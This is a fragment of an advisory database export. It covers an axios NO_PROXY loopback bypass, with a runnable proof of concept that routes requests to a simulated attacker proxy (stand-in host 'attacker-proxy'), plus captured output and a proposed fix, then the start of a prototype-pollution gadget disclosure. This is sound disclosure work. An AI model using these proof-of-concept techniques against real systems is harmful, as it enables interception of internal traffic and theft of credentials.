\u0026\u0026 hostname.charAt(hostname.length - 1) === ']') {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" → \"localhost\"\n  return hostname.replace(/\\.+$/, '');\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1–3 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 — Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" → treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 — Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 §3.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 — Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 — Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 — Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets → skip\n//          No trailing dot → skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 — Iterate over NO_PROXY entries\n//  Entry → \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  → false\nisLoopback(\"127.0.0.2\")                      → false  ← Set.has() returns false\n                                                          BYPASS starts here\n//  Entry → \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 → false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  → LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     → false  ← Same failure\n  → false\n//  Entry → \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        → false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  → LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     → false  ← Same failure\n  → false\n// Step 5 — Final return\nshouldBypassProxy() → false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker's proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 §3.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 — Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 — Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 — Create the PoC file (`poc.js`)**\n\n```\nimport http from 'http';\nimport axios from 'axios';\n// ── Simulated attacker-controlled proxy server ────────────────────────────────\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log('\\n[!] PROXY HIT — Attacker proxy received request!');\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end('proxied');\n}).listen(PROXY_PORT);\n// ── Simulated developer security configuration ────────────────────────────────\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = 'localhost,127.0.0.1,::1';\n// ── Test helper ───────────────────────────────────────────────────────────────\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === 'proxied') {\n      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');\n    } else {\n      console.log('    Result → [DIRECT]   ← Safe, no proxy used');\n    }\n  } catch (err) {\n    if (err.code === 'ECONNREFUSED') {\n      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');\n    }\n  }\n}\n// ── Test execution ────────────────────────────────────────────────────────────\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch — expected to go DIRECT\n  console.log('\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');\n  await test('http://localhost:9191/secret');\n  await test('http://localhost.:9191/secret');\n  await test('http://[::1]:9191/secret');\n  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy\n  console.log('\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');\n  await test('http://127.0.0.2:9191/secret');\n  await test('http://127.0.0.100:9191/secret');\n  await test('http://127.1.2.3:9191/secret');\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 — Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target — Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application → 127.0.0.2:8080 (direct)\nActual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application's perspective, the request succeeds normally.\n\n**Impact 2 — SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 — Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 — Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 — No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js — Axios 1.15.0\n// Lines 1–3 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") → LOOPBACK_ADDRESSES.has(\"127.0.0.2\") → FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === 'localhost') return true;\n  // IPv6 loopback address\n  if (host === '::1') return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split('.');\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === '127' \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View — Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === 'localhost') return true;\n+   if (host === '::1') return true;\n+   const parts = host.split('.');\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === '127' \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 — RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 §3.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 — The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 — Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table — default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 — The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1)\n2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 — The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 — Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation — IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n'0:0:0:0:0:0:0:1'      // Full notation of ::1\n'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback\n'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T00:20:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7","https://nvd.nist.gov/vuln/detail/CVE-2026-42043","https://github.com/advisories/GHSA-pmwg-cvhr-8vh7"],"source_kind":"github","identifiers":["GHSA-pmwg-cvhr-8vh7","CVE-2026-42043"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-10-02T08:03:13.785Z","epss_percentage":0.00579,"epss_percentile":0.45568,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0"],"unaffected_versions":["0.31.1","0.32.0","0.33.0","0.34.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdzZ4LTJnN20tOHYyM84ABWJq","url":"https://github.com/advisories/GHSA-3w6x-2g7m-8v23","title":"Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`","description":"# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** — the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** — individual JSON keys can be changed while others remain untouched\n3. **Invisible** — the response structure and most values look completely normal\n4. **Simultaneous exfiltration** — the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: \"viewer\" → \"admin\"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error — the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n         │\n         ▼\n  mergeConfig(defaults, userConfig)\n         │\n         │  parseReviver NOT in defaults → NOT iterated by mergeConfig\n         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig\n         │  Merged config has NO own parseReviver property\n         │\n         ▼\n  transformData.call(config, config.transformResponse, response)\n         │\n         │  Default transformResponse function runs (NOT overridden)\n         │\n         ▼\n  defaults/index.js:124: JSON.parse(data, this.parseReviver)\n         │\n         │  this = config (merged config object, plain {})\n         │  config.parseReviver → NOT own property → traverses prototype chain\n         │  → finds Object.prototype.parseReviver → attacker's function!\n         │\n         ▼\n  JSON.parse calls reviver for EVERY key-value pair\n         │\n         │  Attacker can: read original value, modify it, return anything\n         │  No validation, no constraints, no assertOptions check\n         │\n         ▼\n  Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, 